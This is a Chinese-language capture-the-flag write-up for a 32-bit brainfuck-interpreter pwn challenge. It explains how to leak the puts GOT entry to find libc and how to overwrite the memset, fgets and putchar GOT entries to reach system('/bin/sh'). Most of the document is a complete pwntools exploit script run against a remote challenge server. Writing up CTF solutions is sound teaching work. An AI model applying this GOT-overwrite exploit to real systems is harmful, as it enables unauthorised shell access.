文章目录
- 前置知识
- 整体思路
- exp
前置知识
- 改
got
表
整体思路
这道题看起来是在解析brainfuck
,我对这方面的知识可以说是一窍不通,但是看了看代码感觉并不需要我们懂brainfuck
。
首先我们需要输入一个长度最大为1024
的字符串,然后其会逐字符解析该字符串。
其中,<
和>
可以移动指针p
指向的内容,初始的p
为0x0804A0A0
。
+
和-
可以使得指针p
指向的内容加一或者减一。通过这些目前我们可以实现任意地址写了。
.
可以输出p
指向的字符,因此要输出一个32
位地址需要输出4
次。
,
可以从标准输入读取一个字符,优点是,可以在我们泄露了libc
地址之后再使用,
读入泄露出来的libc
的地址。
我的exp
比较混乱,这里详细说一下思路,师傅们可以自行实现:
- 通过
+ - .
来泄露puts
的got
表,获取libc
地址 - 更改
memset
函数的got
表为gets
函数的地址 - 更改
fgets
函数的got
表为system
函数的地址 - 更改
putchar
的got
表为main
函数地址 - 输入一个
,
来触发putchar
,从而返回到main
函数,由此输入/bin/sh
获得shell
exp
from pwn import *
from LibcSearcher import *
filename = './bf'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = elf.libc
libc = ELF('./libc.so.6')
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 29708)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, 'b *0x08048791')
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
def add_addr():
return b'>'
def dec_addr():
return b'<'
def add_value():
return b'+'
def dec_value():
return b'-'
def output_value():
return b'.'
def change_byte():
return b','
raw_p = 0x0804A0A0
# 0x0804A080
fini_array = 0x08049F0C + 4
main_addr = elf.sym['main']
# print('puts_got: {}'.format(hex(elf.got['puts'])))
sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = (raw_p - (elf.got['puts'] + 3))*dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value()
payload += 0x18*add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += 7*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += (0x1c + 3)*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += output_value()
sh.sendline(payload)
sh.send(p8(main_addr & 0x000000ff))
sh.send(p8((main_addr & 0x0000ff00) >> 8))
sh.send(p8((main_addr & 0x00ff0000) >> 16))
sh.send(p8((main_addr & 0xff000000) >> 24))
# 这里写成sh.recv(1)和sh.recv(3)是因为直接写成sh.recv(4)会收不到...
result = b''
result += sh.recv(1)
result += sh.recv(3)
puts_got = u32(result[::-1])
leak_info('puts_got', puts_got)
libc.address = puts_got - libc.sym['puts']
leak_info('libc.address', libc.address)
sh.send(p8(libc.sym['gets'] & 0x000000ff))
sh.send(p8((libc.sym['gets'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['gets'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['gets'] & 0xff000000) >> 24))
sh.send(p8(libc.sym['system'] & 0x000000ff))
sh.send(p8((libc.sym['system'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['system'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['system'] & 0xff000000) >> 24))
sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = '/bin/sh\x00'
sh.sendline(payload)
sh.interactive()
# pause()